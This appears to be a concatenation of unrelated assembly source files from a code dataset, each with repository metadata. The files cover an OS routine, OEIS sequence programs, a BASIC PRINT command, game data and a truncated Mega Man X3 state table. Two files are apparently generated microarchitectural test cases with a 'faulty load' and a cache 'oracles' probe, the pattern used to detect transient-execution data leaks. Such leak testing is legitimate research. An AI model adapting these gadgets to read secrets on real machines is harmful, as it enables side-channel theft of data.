c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
* Find the next Job using a Thing v0.00  Feb 1988 J.R.Oakley QJUMP * (It's just one Job after another) section thing * include 'dev8_mac_assert' include 'dev8_keys_err' include 'dev8_keys_sys' include 'dev8_keys_thg' * xref th_find xref th_nxtu xref th_exit * xdef th_nthu *+++ * Find a thing, given its name, and return the Job ID of the Job that * owns the given usage block, and the address of the next usage block: * this allows application code to generate a list of Jobs that are * using a Thing. * * Registers: * Entry Exit * D0 0, ITNF, IJOB * D1 Job ID of owner of block * D2/D3 smashed * A0 name of thing (>=3 chars) preserved * A1 usage block or 0 next usage block, or first * A2/A3 smashed * A6 pointer to system variables preserved *--- th_nthu move.l a1,a2 ; keep pointer to current usage block jsr th_find(pc) ; find the Thing bne.s thu_exit ; ...oops jsr th_nxtu(pc) ; usage code can find user and next thu_exit jmp th_exit(pc) * end
32.681818
77
0.486787
1b955a740e806931491681c55f7f1f36da3d3c5a
9,385
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1914.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1914.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1914.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x3717, %rsi lea addresses_UC_ht+0x14c17, %rdi nop nop nop nop nop and %rbp, %rbp mov $16, %rcx rep movsl nop nop nop nop sub %r10, %r10 lea addresses_A_ht+0x10257, %rsi nop nop nop nop nop cmp $917, %r12 movw $0x6162, (%rsi) nop nop nop nop nop sub %r10, %r10 lea addresses_UC_ht+0x111d7, %rbp xor %r13, %r13 mov $0x6162636465666768, %rdi movq %rdi, %xmm7 and $0xffffffffffffffc0, %rbp vmovntdq %ymm7, (%rbp) nop cmp %r13, %r13 lea addresses_UC_ht+0x6857, %rsi cmp $49676, %rcx mov $0x6162636465666768, %r12 movq %r12, (%rsi) nop cmp $46545, %r10 lea addresses_WT_ht+0x12057, %r10 nop nop nop nop nop xor $2866, %rdi mov (%r10), %rsi nop nop cmp $53268, %rsi lea addresses_UC_ht+0x12657, %rdi nop xor $27935, %rcx mov (%rdi), %r13d nop nop dec %r13 lea addresses_WC_ht+0x13a57, %rsi lea addresses_D_ht+0x1603f, %rdi nop nop nop nop nop and $43501, %rax mov $112, %rcx rep movsq nop nop inc %rsi lea addresses_UC_ht+0x1bdf7, %rsi cmp $52040, %rdi mov (%rsi), %r13w nop nop cmp %rdi, %rdi lea addresses_UC_ht+0xab3b, %rsi lea addresses_D_ht+0x181ef, %rdi nop nop and $43003, %rbp mov $108, %rcx rep movsq nop nop add %rbp, %rbp lea addresses_WC_ht+0x19237, %rsi nop nop nop nop and %rdi, %rdi mov (%rsi), %ecx sub $27560, %rbp lea addresses_D_ht+0x1e98f, %rax nop nop nop nop nop sub $6184, %r13 movw $0x6162, (%rax) sub $11764, %r10 lea addresses_WC_ht+0x1607e, %rsi nop nop nop nop nop and $59305, %rax movb (%rsi), %r10b inc %rdi lea addresses_D_ht+0x1de57, %rsi lea addresses_normal_ht+0x17857, %rdi clflush (%rdi) nop nop nop nop and $5852, %r10 mov $91, %rcx rep movsb nop add %rcx, %rcx lea addresses_WT_ht+0x18beb, %rcx sub $22167, %rbp movl $0x61626364, (%rcx) and $18920, %r12 lea addresses_WT_ht+0x19503, %rsi lea addresses_A_ht+0x16a57, %rdi nop nop nop nop add $34350, %r10 mov $32, %rcx rep movsb nop nop nop cmp %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rbx push %rcx push %rsi // Load lea addresses_WT+0x1f017, %rcx nop nop nop nop dec %rbx mov (%rcx), %r15w nop inc %rcx // Store lea addresses_D+0x77b7, %r12 nop nop nop nop cmp $51991, %r14 movb $0x51, (%r12) nop nop nop add %r14, %r14 // Store lea addresses_normal+0x9957, %rcx nop xor $25241, %r14 mov $0x5152535455565758, %r11 movq %r11, %xmm7 movups %xmm7, (%rcx) nop nop nop nop xor %r14, %r14 // Load lea addresses_A+0x4267, %r14 nop nop nop inc %r15 mov (%r14), %ebx nop nop nop nop nop dec %r15 // Store lea addresses_A+0xe157, %r11 nop nop nop nop nop xor %r15, %r15 movb $0x51, (%r11) nop nop inc %r11 // Load lea addresses_A+0x17a57, %r11 clflush (%r11) nop nop nop nop xor %rsi, %rsi mov (%r11), %r12 nop nop cmp $51444, %rsi // Store lea addresses_WC+0x12947, %rbx nop xor $31774, %r15 movb $0x51, (%rbx) nop inc %rsi // Faulty Load lea addresses_PSE+0x1e57, %r15 nop nop nop xor $2709, %rbx mov (%r15), %r14 lea oracles, %r11 and $0xff, %r14 shlq $12, %r14 mov (%r11,%r14,1), %r14 pop %rsi pop %rcx pop %rbx pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': True, 'AVXalign': True, 'size': 1, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'dst': {'same': True, 'congruent': 5, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
29.984026
2,999
0.651678
cd13ea6c29c43e22c3852b8ed88485db0a57f58a
827
asm
Assembly
oeis/142/A142501.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142501.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142501.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142501: Primes congruent to 41 mod 51. ; Submitted by Jon Maiga ; 41,347,449,653,857,1061,1163,1367,1571,1877,1979,2081,2591,2693,2897,2999,3203,3407,3917,4019,4733,4937,5039,5651,6263,6569,6977,7079,7283,7487,7589,7691,7793,8609,9221,9323,9629,9833,10037,10139,10343,10853,11057,11159,11261,12281,12689,12791,12893,13709,13913,14321,14423,14627,14831,15137,15443,15647,15749,16361,16871,17483,17789,17891,18401,18503,18911,19013,19319,19421,19727,20441,20543,20747,20849,21563,21767,22073,22277,22481,22787,23297,23399,23603,23909,24113,24317,24419,24623,25031 mov $1,20 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,51 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,101
34.458333
497
0.727932
fd07ffd4a758f36322042fb5e5226607794cfd36
2,023
asm
Assembly
source/commands/print.asm
paulscottrobson/Basic65816
167c25b1bbc2680f55acdf4bff771750acfe907c
[ "MIT" ]
null
null
null
source/commands/print.asm
paulscottrobson/Basic65816
167c25b1bbc2680f55acdf4bff771750acfe907c
[ "MIT" ]
4
2019-06-18T14:45:35.000Z
2019-06-22T17:18:22.000Z
source/commands/print.asm
paulscottrobson/Basic65816
167c25b1bbc2680f55acdf4bff771750acfe907c
[ "MIT" ]
1
2021-03-18T04:31:44.000Z
2021-03-18T04:31:44.000Z
; ******************************************************************************************* ; ******************************************************************************************* ; ; Name : print.asm ; Purpose : PRINT command ; Date : 12th June 2019 ; Author : paul@robsons.org.uk ; ; ******************************************************************************************* ; ******************************************************************************************* ; ******************************************************************************************* ; ; PRINT commands ; ; ******************************************************************************************* Command_PRINT: ;; print lda (DCodePtr) ; look at first characteer beq _FPRExitCR ; if zero, then exit with CR, maybe. cmp #colonTokenID ; likewise if a colon. beq _FPRExitCR cmp #semicolonTokenID ; semicolon, skip it beq _FPRSkipLoop cmp #squoteTokenID ; single quote is CR beq _FPRNewLine cmp #commaTokenID ; , is tab. beq _FPRTab _FPRExpression: ; ; Look for an expression. ; jsr Evaluate ; evaluate a string or integer. bcs _FPRHaveString ; ; Convert integer to string. ; ldx #10 ; convert to string jsr ConvertToString ; _FPRHaveString: tay ; print the basic String. jsr PrintBASICString bra Command_Print ; and go round again. ; ; Print TAB ; _FPRTab: ; , (tab) jsr HWTab bra _FPRSkipLoop ; ; Print New Line ; _FPRNewLine: ; ; (newline) jsr HWNewLine _FPRSkipLoop: ; skip over token and go back inc DCodePtr inc DCodePtr bra Command_Print _FPRExitCR: ldy DCodePtr ; was the previous token a ; or , dey dey lda $0000,y cmp #commaTokenID ; if so, don't do a new line at the end of the instruction. beq _FPRExit cmp #semicolonTokenID beq _FPRExit jsr HWNewLine ; print a new line. _FPRExit: rts
27.337838
93
0.452299
ebb3981b8a58fc04b36c71ff62c743ed83f20194
86
asm
Assembly
gfx/pokemon/pidgeot/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/pidgeot/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/pidgeot/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
frame 0, 12 frame 1, 32 setrepeat 2 frame 0, 06 frame 2, 06 dorepeat 3 endanim
10.75
12
0.674419
24051bc928bebc7ead04ce3fe0e83fa07168ceea
5,517
asm
Assembly
Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_21829_1287.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_21829_1287.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_21829_1287.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_D_ht+0xc6f2, %rsi lea addresses_UC_ht+0x4c6, %rdi clflush (%rdi) nop nop nop nop nop xor %r11, %r11 mov $104, %rcx rep movsq nop nop nop nop nop sub %rax, %rax lea addresses_normal_ht+0x19f26, %r10 nop nop nop nop add $61838, %r15 mov $0x6162636465666768, %rcx movq %rcx, %xmm6 movups %xmm6, (%r10) inc %r11 pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r9 push %rbx push %rdx // Store lea addresses_WC+0x1ec46, %r9 nop add %rdx, %rdx mov $0x5152535455565758, %r11 movq %r11, (%r9) nop sub $23660, %r11 // Store lea addresses_RW+0x1e46, %r13 nop nop nop nop xor %r14, %r14 mov $0x5152535455565758, %r11 movq %r11, (%r13) nop nop add %r13, %r13 // Store mov $0x2a38800000000986, %r12 nop dec %r11 mov $0x5152535455565758, %r9 movq %r9, %xmm7 vmovups %ymm7, (%r12) nop nop nop and $45295, %rbx // Store lea addresses_WT+0x6d46, %r12 nop nop nop and $8363, %rbx mov $0x5152535455565758, %r13 movq %r13, %xmm7 vmovups %ymm7, (%r12) nop nop and $17343, %rdx // Faulty Load mov $0x2a38800000000986, %r12 nop xor %rdx, %rdx mov (%r12), %ebx lea oracles, %r13 and $0xff, %rbx shlq $12, %rbx mov (%r13,%rbx,1), %rbx pop %rdx pop %rbx pop %r9 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}} {'58': 21599, '00': 230} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
40.270073
2,999
0.659054
24e95748f8071154a98a30ba1715c100a4c5f99e
775
asm
Assembly
oeis/272/A272007.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/272/A272007.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/272/A272007.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A272007: Number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 413", based on the 5-celled von Neumann neighborhood. ; Submitted by Jamie Morken(s3) ; 1,8,5,48,5,120,5,224,5,360,5,528,5,728,5,960,5,1224,5,1520,5,1848,5,2208,5,2600,5,3024,5,3480,5,3968,5,4488,5,5040,5,5624,5,6240,5,6888,5,7568,5,8280,5,9024,5,9800,5,10608,5,11448,5,12320,5,13224,5,14160,5,15128,5,16128,5,17160,5,18224,5,19320,5,20448,5,21608,5,22800,5,24024,5,25280,5,26568,5,27888,5,29240,5,30624,5,32040,5,33488,5,34968,5,36480,5,38024,5,39600 mov $1,$0 mul $0,2 sub $1,1 mod $1,2 mov $3,2 mov $4,2 mul $4,$0 lpb $1 mov $0,4 sub $1,1 mov $2,1 mov $3,1 mov $4,0 lpe pow $0,$3 add $0,$2 mov $1,$4 add $1,1 add $0,$1 trn $0,2 add $0,1
29.807692
365
0.682581
0751176026c4041c7dcaf3110d2cb6f041f43c26
21,955
asm
Assembly
statetable.asm
AkiteruSDA/RockmanX3Practice
e8aec673353560bf32e8080d909e84752469c695
[ "MIT" ]
null
null
null
statetable.asm
AkiteruSDA/RockmanX3Practice
e8aec673353560bf32e8080d909e84752469c695
[ "MIT" ]
null
null
null
statetable.asm
AkiteruSDA/RockmanX3Practice
e8aec673353560bf32e8080d909e84752469c695
[ "MIT" ]
null
null
null
// // Game state data for where the player wants to go. // // Places an entry in the index table that has no revisit. macro state_index_single label db ({label} - state_table_base) / {state_entry_size} db ({label} - state_table_base) / {state_entry_size} endmacro // Places an entry in the index table that has a revisit. macro state_index_revisit label1, label2 db ({label1} - state_table_base) / {state_entry_size} db ({label2} - state_table_base) / {state_entry_size} endmacro // Label used to denote the bank. state_bank_marker: // Top-level table, mapping categories to route tables. state_category_table: dw state_route_table_anyp dw state_route_table_anyp_bootless dw state_route_table_hundo dw state_route_table_lowp // Mid-level table for Any% category, mapping routes to index tables. state_route_table_anyp: dw state_indexes_table_anyp // Mid-level table for Any% category without dash boots, mapping routes to index tables. state_route_table_anyp_bootless: dw state_indexes_table_anyp_bootless // Mid-level table for 100% category, mapping routes to index tables state_route_table_hundo: dw state_indexes_table_hundo // Mid-level table for Low% category, mapping routes to index tables state_route_table_lowp: dw state_indexes_table_lowp // Index table for Any%. state_indexes_table_anyp: {state_index_revisit state_data_anyp_hornet, state_data_anyp_doppler1} {state_index_single state_data_anyp_buffalo} {state_index_single state_data_anyp_intro} {state_index_single state_data_anyp_beetle} {state_index_revisit state_data_anyp_seahorse, state_data_anyp_doppler2} {state_index_revisit state_data_anyp_catfish, state_data_anyp_doppler3} {state_index_single state_data_anyp_crawfish} {state_index_single state_data_anyp_vile} {state_index_single state_data_anyp_rhino} {state_index_revisit state_data_anyp_tiger, state_data_anyp_doppler4} db 1 // Flag: Yes, there is a Vile stage. // Index table for Any% without dash boots. state_indexes_table_anyp_bootless: {state_index_revisit state_data_anyp_bootless_hornet, state_data_anyp_bootless_doppler1} {state_index_single state_data_anyp_bootless_buffalo} {state_index_single state_data_anyp_bootless_intro} {state_index_single state_data_anyp_bootless_beetle} {state_index_revisit state_data_anyp_bootless_seahorse, state_data_anyp_bootless_doppler2} {state_index_revisit state_data_anyp_bootless_catfish, state_data_anyp_bootless_doppler3} {state_index_single state_data_anyp_bootless_crawfish} {state_index_single state_data_anyp_bootless_vile} {state_index_single state_data_anyp_bootless_rhino} {state_index_revisit state_data_anyp_bootless_tiger, state_data_anyp_bootless_doppler4} db 1 // Flag: Yes, there is a Vile stage. // Index table for 100%. state_indexes_table_hundo: {state_index_revisit state_data_hundo_hornet, state_data_hundo_doppler1} {state_index_single state_data_hundo_buffalo} {state_index_single 